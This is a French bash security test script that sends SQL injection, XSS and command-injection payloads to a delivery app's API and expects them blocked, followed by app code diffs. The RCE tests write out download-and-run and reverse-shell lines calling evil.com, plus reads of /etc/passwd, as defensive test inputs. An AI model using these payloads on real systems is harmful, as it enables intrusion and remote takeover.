echo -e "${PURPLE}📄 Response:${NC} $1"
}
# Fonction pour effectuer une requête HTTP avec token client
http_test_client() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP avec token admin
http_test_admin() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
echo "$body"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP sans authentification
http_test_no_auth() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# =============================================================================
# Authentification
# =============================================================================
authenticate() {
print_header "AUTHENTIFICATION"
# ==================== CLIENT LOGIN ====================
print_section "1. Login Client"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
"${API_BASE_URL}/api/v1/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$CLIENT_TOKEN" ]; then
print_success "Login Client réussi - Token obtenu"
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
else
print_fail "Login Client réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Client (HTTP $http_code)"
print_response "$body"
exit 1
fi
# ==================== ADMIN LOGIN ====================
print_section "2. Login Admin"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
"${API_BASE_URL}/api/v2/admin/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$ADMIN_TOKEN" ]; then
print_success "Login Admin réussi - Token obtenu"
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
else
print_fail "Login Admin réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Admin (HTTP $http_code)"
print_response "$body"
exit 1
fi
}
# =============================================================================
# Tests SQL Injection
# =============================================================================
test_sql_injection() {
print_header "TESTS SQL INJECTION"
print_section "1. SQL Injection - Login"
# Test 1: SQL Injection classique dans login client
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Client OR 1=1"
# Test 2: SQL Injection dans login admin
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Admin OR 1=1"
# Test 3: SQL Injection avec UNION
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
403 "SQLi - UNION SELECT"
# Test 4: SQL Injection avec DROP TABLE
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
403 "SQLi - DROP TABLE"
# Test 5: SQL Injection avec commentaire
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''--","password":"test"}' \
403 "SQLi - Commentaire SQL --"
print_section "2. SQL Injection - Panier"
# Test 6: SQL Injection dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
403 "SQLi - Panier name_product"
# Test 7: SQL Injection dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
403 "SQLi - Panier category"
print_section "3. SQL Injection - Admin"
# Test 8: SQL Injection dans username pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
403 "SQLi - Username pénalité"
# Test 9: SQL Injection dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
"" \
403 "SQLi - Paramètres commandes"
# Test 10: SQL Injection dans ID commande
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
"" \
403 "SQLi - ID commande"
# Test 11: SQL Injection dans username livreur
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
"" \
403 "SQLi - Username livreur"
print_section "4. SQL Injection - Commandes Client"
# Test 12: SQL Injection dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
403 "SQLi - Adresse checkout"
# Test 13: SQL Injection nom produit admin
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
403 "SQLi - Nom produit admin"
print_section "5. SQL Injection - Variantes avancées"
# Test 14: SQL Injection avec AND
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
403 "SQLi - AND condition"
# Test 15: SQL Injection avec encodage hex
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
403 "SQLi - Encodage hex"
# Test 16: SQL Injection avec SLEEP (Time-based)
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
403 "SQLi - Time-based SLEEP"
# Test 17: SQL Injection avec BENCHMARK
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
403 "SQLi - BENCHMARK"
# Test 18: SQL Injection avec sous-requête
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
403 "SQLi - Sous-requête"
}
# =============================================================================
# Tests XSS (Cross-Site Scripting)
# =============================================================================
test_xss() {
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
print_section "1. XSS - Login"
# Test 1: XSS basique avec script tag
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<script>alert(1)</script>","password":"test"}' \
403 "XSS - Script tag basique"
# Test 2: XSS avec event handler
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
403 "XSS - Event handler onerror"
# Test 3: XSS avec SVG
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<svg onload=alert(1)>","password":"test"}' \
403 "XSS - SVG onload"
print_section "2. XSS - Panier"
# Test 4: XSS dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
403 "XSS - Panier name_product"
# Test 5: XSS dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
403 "XSS - Panier category"
print_section "3. XSS - Admin"
# Test 6: XSS dans raison pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
400 "XSS - Raison pénalité"
# Test 7: XSS dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
"" \
403 "XSS - Paramètres commandes"
# Test 8: XSS dans description produit
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
403 "XSS - Description produit"
print_section "4. XSS - Commandes Client"
# Test 9: XSS dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"<script>alert(1)</script>"}' \
403 "XSS - Adresse checkout"
# Test 10: XSS dans commentaire approbation
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
403 "XSS - Commentaire approbation"
# Test 11: XSS dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"<script>alert(1)</script>"}' \
403 "XSS - Raison annulation"
print_section "5. XSS - Variantes avancées"
# Test 12: XSS avec iframe
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
403 "XSS - iframe javascript"
# Test 13: XSS avec body onload
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<body onload=alert(1)>","password":"test"}' \
403 "XSS - body onload"
# Test 14: XSS avec input autofocus
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
403 "XSS - input autofocus"
# Test 15: XSS avec marquee
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
403 "XSS - marquee onstart"
# Test 16: XSS avec details/summary
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
403 "XSS - details ontoggle"
# Test 17: XSS avec javascript: protocol
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
403 "XSS - javascript protocol"
# Test 18: XSS avec data: URI
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
403 "XSS - data URI"
# Test 19: XSS encodé HTML
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"&lt;script&gt;alert(1)&lt;/script&gt;","password":"test"}' \
403 "XSS - Encodage HTML entities"
# Test 20: XSS avec polyglotte
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
403 "XSS - Polyglotte"
}
# =============================================================================
# Tests RCE (Remote Code Execution)
# =============================================================================
test_rce() {
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
print_section "1. RCE - Command Injection basique"
# Test 1: Command substitution avec $()
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
403 "RCE - Command substitution"
# Test 2: Command substitution avec backticks
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
403 "RCE - Command substitution backticks"
# Test 3: Pipe command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
403 "RCE - Pipe command"
# Test 4: Semicolon command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
403 "RCE - Semicolon chaining"
# Test 5: AND command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
403 "RCE - AND chaining"
# Test 6: OR command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
403 "RCE - OR chaining"
print_section "2. RCE - Commandes système dangereuses"
# Test 7: cat /etc/passwd
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
403 "RCE - cat /etc/passwd"
# Test 8: ls command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
403 "RCE - ls command"
# Test 9: wget command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
403 "RCE - wget download"
# Test 10: curl command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
403 "RCE - curl pipe bash"
# Test 11: nc (netcat) reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
403 "RCE - netcat reverse shell"
# Test 12: bash reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
403 "RCE - bash reverse shell"
print_section "3. RCE - Dans autres endpoints"
# Test 13: RCE dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"$(whoami)"}' \
403 "RCE - Adresse checkout"
# Test 14: RCE dans login
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"$(id)","password":"test"}' \
403 "RCE - Login username"
# Test 15: RCE dans commentaire
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"$(uname -a)"}' \
403 "RCE - Commentaire approbation"
# Test 16: RCE dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"$(pwd)"}' \
403 "RCE - Raison annulation"
print_section "4. RCE - Python/Perl/Ruby injection"
# Test 17: Python code execution
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - Python import os"
# Test 18: eval() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - eval injection"
# Test 19: exec() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - exec injection"
# Test 20: system() call
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - system call"
}
main() {
# Exécution des tests
authenticate
test_rce
test_xss
test_sql_injection
http_test_no_auth
}
main
+2 -2
View File
@@ -101,8 +101,8 @@ export default function App() {
await Updates.fetchUpdateAsync();
await Updates.reloadAsync();
}
} catch {
// Silently ignore update errors
} catch (e) {
console.error("[OTA] Échec de la vérification/application de la mise à jour:", e);
}
};
checkForUpdate();
+11 -11
View File
@@ -1,19 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDJTCCAg2gAwIBAgIUWaJqFsa0hKO1IjUH6d1nVN0u+2gwDQYJKoZIhvcNAQEL
BQAwIjEgMB4GA1UEAwwXVWJlciBTdHVwIEFkbWluIFByZXByb2QwHhcNMjYwODIy
MTMzNTQ3WhcNMzYwODE5MTMzNTQ3WjAiMSAwHgYDVQQDDBdVYmVyIFN0dXAgQWRt
MIIDGzCCAgOgAwIBAgIUE8d7MB8k8EDm+Ai4QgEHdIJi3nUwDQYJKoZIhvcNAQEL
BQAwIjEgMB4GA1UEAwwXVWJlciBTdHVwIEFkbWluIFByZXByb2QwHhcNMjYwODI2
MTAyMjQ1WhcNMzYwODIzMTAyMjQ1WjAiMSAwHgYDVQQDDBdVYmVyIFN0dXAgQWRt
aW4gUHJlcHJvZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM55/nO+
DDMIqAcoaRMe/IFu6GTP+iX+M4UpvJXMYH9n4oCp7cHegxrq5KkW5Q8Hg1Qic/2N
4W47G9LoEyjg58lOZISeBu6tltnfiFIMaqyuxDJvq851jFf2g4uXR2DpG4nW46dz
d36MWAbI2UyEhUKPVEJGhZc5s9eP+CECYmSDj0oyObseMcieolqCV7itSzwmck2e
VWrbOJF5TgQ26G8buA8gXUbJUVHMyan8LDWDl/+JTckJ1ENdcrBPyjA/ce3wbVBV
m33Te758JWb5wxAP2nMi2rqy/GdvgQDH6m82u/BBEFsmk+Nn7PJBYlEUeUP0rdf5
RqPJH0bzuPUzygkCAwEAAaNTMFEwHQYDVR0OBBYEFI5vAhPX/ijBCedv1+l0pAnI
h5leMB8GA1UdIwQYMBaAFI5vAhPX/ijBCedv1+l0pAnIh5leMA8GA1UdEwEB/wQF
MAMBAf8wDQYJKoZIhvcNAQELBQADggEBAGsAIzTDNlTytr1v/JYC65vLUKDUyJ6e
osyLqIN3jpA9EUIBsx96XQyHBgNWeyggZkHJl1scd+nd2qkA9/16vh+Gpdye0766
sBJbYxgrnddfwHJiMNGj/rqqQDOyftiPn+yQh1GQP07rSBCavRsfLkz1G+n5BcXL
2wPE99AGkyesFrNroTQmxqHSAdDswKmf1ydxRQOSL8eVcntkaV89E/OJba8E97Q5
GuNG1cj0Sq04gr0X3qr41mRbigZRQKRkMxoKnI1U4Y2LXdAZeGITi9OpRYNLRdOb
5hw2s8wW1Fp0PnAoMS2AxXJnEimXXz4+RGPR0T1fWGOpPYvviuJBjB4=
RqPJH0bzuPUzygkCAwEAAaNJMEcwDgYDVR0PAQH/BAQDAgeAMBYGA1UdJQEB/wQM
MAoGCCsGAQUFBwMDMB0GA1UdDgQWBBSObwIT1/4owQnnb9fpdKQJyIeZXjANBgkq
hkiG9w0BAQsFAAOCAQEAKFPhk6qGylJzpjJzh7WTJrD78zkvzQfyl2OLHLy6q4HI
0NUeKlwGccUe6ujvB85HBqlLox3mQOB4uuR3hz1fKhIJ2StNvX/3Ko/da8a+WeiN
ZfniBDNPUKAaRG6/DH80n83r7GT07hHq4zJrWIauOOSdkOmwHYrHl79ceNk94WhC
XHtr+9/n/z0WG83NePHPPqnTT/IRCpWPCNzFQf1vT7GPWTKaRjTKfRpgAFzzumho
wj65OMSD5ZRenkTG7KMxssYRN+2UPeoZ+nAKgx0K5vVbFfFVfogfYLFf6xwvXg8i
1Iokq3r8g7BACGJlWxPqtDo272lOD7HdQ7sLxLqxUw==
-----END CERTIFICATE-----
+11 -11
View File
@@ -1,19 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDFTCCAf2gAwIBAgIUeZdFKJ2R28Wu71qCK2bQCacAQsQwDQYJKoZIhvcNAQEL
BQAwGjEYMBYGA1UEAwwPVWJlciBTdHVwIEFkbWluMB4XDTI2MDgyMTIwNDYzMVoX
DTM2MDgxODIwNDYzMVowGjEYMBYGA1UEAwwPVWJlciBTdHVwIEFkbWluMIIBIjAN
MIIDCzCCAfOgAwIBAgIUP26Wjyp3YylJDp5TspqcnBfttXgwDQYJKoZIhvcNAQEL
BQAwGjEYMBYGA1UEAwwPVWJlciBTdHVwIEFkbWluMB4XDTI2MDgyNjEwMjI0NVoX
DTM2MDgyMzEwMjI0NVowGjEYMBYGA1UEAwwPVWJlciBTdHVwIEFkbWluMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv5BLKcCBTmbDf5kh8Iwrtuhbhizt
kHF1CsR8CRh4diuoXT8fdlwmQ6xf8tYFMkF4Q1ytHXHZ1VfLslU4fWVTErJW9/e0
yTx1sP4sITzpujkOTSeFlvNxJ2Y6MKFoqwxVG/999oSteNTLAQeBNbnwgHox7Bu1
WJGV3fAjv7y6VttH/u9ZUtAn6dwrHcsGFZ5vqr4z2ZMM+dU1L/sjF41wQAaCLSpY
5rjch2FeD1gjVFpVMmMqxJado7B4UPcYZf1YCftjpp3Ojb0ZCy11uXo7rIOYR5EB
g1vTEgkMIp7CsC4FUdZKNltHDkNiml7hELp29C+auDjcHRkYZvSZNPa6vQIDAQAB
o1MwUTAdBgNVHQ4EFgQUjWIGwKFSIr4T+seTQ7hKvuA+BGkwHwYDVR0jBBgwFoAU
jWIGwKFSIr4T+seTQ7hKvuA+BGkwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0B
AQsFAAOCAQEAMS4P6nAuLFh72rvbjTViN1JOy/KBZAUi5KgQADTrTXzh2XdEwIJN
YgWCg0TONRExGyEoKAbDQTyywgQOM+zX4BIY2QgrtnOVbLrImrsbzSRHDrya3aFw
AkBAm5IcuTKC5zYsj2ZlZrGjFgIVaO+EtonTbC/hGh/FArE167wUWys39mlvB+H/
kaMbz3EkwU3cXoOeQhg91dg2WUk5v2BA/pCg0r79u5c9tvQVFdq9MzO9NZop3u7L
sXDrdun8P7mQp3VWRj1KQggCDmj+8rsnHNZEhEgr0TmRG5MCYyyfOW+CxS0X6MhC
32G5mbt4AO8nfW5ImPI6S5m0tKn/nNIAQg==
o0kwRzAOBgNVHQ8BAf8EBAMCB4AwFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwMwHQYD
VR0OBBYEFI1iBsChUiK+E/rHk0O4Sr7gPgRpMA0GCSqGSIb3DQEBCwUAA4IBAQBf
q3IFEOFM+7FNuYEUDhNDjAC6teZPbM5yUMeX13Ei3MOdalaNCwuTTSQTIrBpjMpm
Lqd6y/qjF/jefXDOF4VHUv/MWhTtwlklPB4zvYK81gZu0piNK9CDPgnoYa8WASlj
8MZURgmmVHvoCAVjtqVrU+8H4SFTCL0SxBq1giJwqyEogsMGyaTIXDfOn0+HRsEg
BZatKJwWCSHCox18i+6gMED+WsgrS/topvjiV7PR6iZQGckT1rEmG11m2IjgrvFt
MFXPeyDEhvr2E9cqaOyMgRP/r+0f5AhELzZygom+9XTXdNwvGQuUuT76YiQGfJEf
B64IP3rw+0Rs+9XAHXF3
-----END CERTIFICATE-----
+2 -2
View File
@@ -23,7 +23,7 @@
},
"env": {
"EXPO_PUBLIC_API_URL": "https://uber-demo.club",
"EXPO_PUBLIC_UPDATE_URL": "https://ota.uber-stup.club/api/manifest"
"EXPO_PUBLIC_UPDATE_URL": "https://ota-preprod.uber-stup.club/api/manifest"
},
"channel": "pre-prod-admin"
},
@@ -35,7 +35,7 @@
},
"env": {
"EXPO_PUBLIC_API_URL": "https://mln-uber.club",
"EXPO_PUBLIC_UPDATE_URL": "https://ota.uber-stup.club/api/manifest"
"EXPO_PUBLIC_UPDATE_URL": "https://ota-prod.uber-stup.club/api/manifest"
},
"channel": "production-admin"
}
+43 -8
View File
@@ -56,6 +56,8 @@ export const logoutAdmin = async (): Promise<void> => {
export interface StatsSummary {
total_orders: number;
total_revenue: number;
total_promo_discount: number;
promo_orders_count: number;
peak_weekday: string;
top_product: string;
avg_per_day: number;
@@ -1107,24 +1109,53 @@ export interface PointsTier {
points: number;
}
export interface RewardProductQuantity {
product_id: number;
quantity: number; // quantité individuelle de ce produit (palier de prix catalogue, ex: 1g)
}
export interface RewardCategoryConfig {
category: string;
type: "free_product" | "half_price_product";
all_products: boolean;
product_ids: number[];
}
export interface RewardItem {
product_id: number;
quantity: number;
price: number;
quantity: number; // quantité uniforme si all_products = true
products: RewardProductQuantity[]; // produits + quantité individuelle si all_products = false
}
export interface PointsReward {
threshold: number;
description: string;
category_configs: RewardCategoryConfig[];
reward_items: RewardItem[];
}
export interface PromotionProductQuantity {
product_id: number;
quantity: number; // quantité individuelle de ce produit (palier de prix catalogue)
}
export interface CategoryPromotionConfig {
category: string;
discount_percent: number; // pourcentage de réduction libre (ex: 10, 20, 33.5)
all_products: boolean;
quantity: number; // quantité uniforme si all_products = true
products: PromotionProductQuantity[]; // produits + quantité individuelle si all_products = false
}
export interface FreeGiftTier {
buy_quantity: number; // quantité à acheter pour déclencher l'offre
free_quantity: number; // quantité offerte du même produit
}
export interface FreeGiftProductQuantity {
product_id: number;
tiers: FreeGiftTier[]; // seuils propres à ce produit
}
export interface CategoryFreeGiftConfig {
category: string;
all_products: boolean;
tiers: FreeGiftTier[]; // seuils uniformes si all_products = true
products: FreeGiftProductQuantity[]; // produits + seuils individuels si all_products = false
}
export interface PointsPool {
@@ -1226,6 +1257,10 @@ export interface AppSettings {
points_enabled: boolean;
points_pools: PointsPool[];
points_reward?: PointsReward | null;
promotions_enabled: boolean;
promotions: CategoryPromotionConfig[];
free_gifts_enabled: boolean;
free_gifts: CategoryFreeGiftConfig[];
referral_enabled: boolean;
delivery_schedule: DeliverySchedule;
postal_zones: PostalZone[];
-1
View File
@@ -164,7 +164,6 @@ export const getDeliverymanLocationForCommand = async (commandId: number) => {
// ============================================
// LIVREURS
// ============================================
const parseStatus = (status: any): "available" | "busy" | "offline" => {
if (!status) return "offline";
+1 -1
View File
@@ -2,7 +2,7 @@ import axios from "axios";
import { getToken, getAdminToken } from "../auth/tokenStorage";
export const API_BASE_URL =
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
const apiClient = axios.create({
baseURL: API_BASE_URL,
-1
View File
@@ -123,7 +123,6 @@ export async function calculateRoute(
}
}
// Fallback: straight line
if (coordinates.length === 0) {
coordinates.push(origin, destination);
}
@@ -16,7 +16,6 @@ import {
StatusBar,
useWindowDimensions,
ScrollView,
Pressable,
} from "react-native";
import { Ionicons } from "@expo/vector-icons";
import { spacing, fontSize, borderRadius } from "../../theme";
@@ -503,6 +502,9 @@ export default function DeliveryScreen() {
padding: spacing.l,
maxHeight: "80%",
},
ratingsList: {
padding: spacing.s,
},
ratingsHeader: {
flexDirection: "row",
justifyContent: "space-between",
@@ -1076,69 +1078,67 @@ export default function DeliveryScreen() {
animationType="slide"
onRequestClose={() => setRatingsModal(null)}
>
<Pressable style={styles.ratingsOverlay} onPress={() => setRatingsModal(null)}>
<Pressable onPress={() => {}}>
<View style={styles.ratingsSheet}>
<View style={styles.ratingsHeader}>
<Text style={styles.ratingsTitle}>
Avis {ratingsModal?.username}
</Text>
<TouchableOpacity onPress={() => setRatingsModal(null)}>
<Ionicons name="close" size={22} color={colors.textMuted} />
</TouchableOpacity>
</View>
{ratingsLoading ? (
<Text style={styles.ratingsEmpty}>Chargement...</Text>
) : ratingsModal && ratingsModal.count > 0 ? (
<>
<View style={styles.ratingsAvg}>
{[1,2,3,4,5].map((s) => (
<Ionicons
key={s}
name={s <= Math.round(ratingsModal.average) ? "star" : "star-outline"}
size={20}
color="#f59e0b"
/>
))}
<Text style={styles.ratingsAvgText}>
{ratingsModal.average.toFixed(1)}
</Text>
<Text style={styles.ratingsCount}>
({ratingsModal.count} avis)
</Text>
</View>
<ScrollView showsVerticalScrollIndicator={false}>
{ratingsModal.ratings.map((r) => (
<View key={r.id} style={styles.ratingItem}>
<View style={styles.ratingItemHeader}>
<Text style={styles.ratingItemClient}>{r.client_username}</Text>
<Text style={styles.ratingItemDate}>
{new Date(r.created_at).toLocaleDateString("fr-FR")}
</Text>
</View>
<View style={styles.ratingStarsRow}>
{[1,2,3,4,5].map((s) => (
<Ionicons
key={s}
name={s <= r.rating ? "star" : "star-outline"}
size={14}
color="#f59e0b"
/>
))}
</View>
{r.comment !== "" && (
<Text style={styles.ratingItemComment}>"{r.comment}"</Text>
)}
</View>
))}
</ScrollView>
</>
) : (
<Text style={styles.ratingsEmpty}>Aucun avis pour ce livreur</Text>
)}
<View style={styles.ratingsOverlay}>
<View style={styles.ratingsSheet}>
<View style={styles.ratingsHeader}>
<Text style={styles.ratingsTitle}>
Avis {ratingsModal?.username}
</Text>
<TouchableOpacity onPress={() => setRatingsModal(null)}>
<Ionicons name="close" size={22} color={colors.textMuted} />
</TouchableOpacity>
</View>
</Pressable>
</Pressable>
{ratingsLoading ? (
<Text style={styles.ratingsEmpty}>Chargement...</Text>
) : ratingsModal && ratingsModal.count > 0 ? (
<>
<View style={styles.ratingsAvg}>
{[1,2,3,4,5].map((s) => (
<Ionicons
key={s}
name={s <= Math.round(ratingsModal.average) ? "star" : "star-outline"}
size={20}
color="#f59e0b"
/>
))}
<Text style={styles.ratingsAvgText}>
{ratingsModal.average.toFixed(1)}
</Text>
<Text style={styles.ratingsCount}>
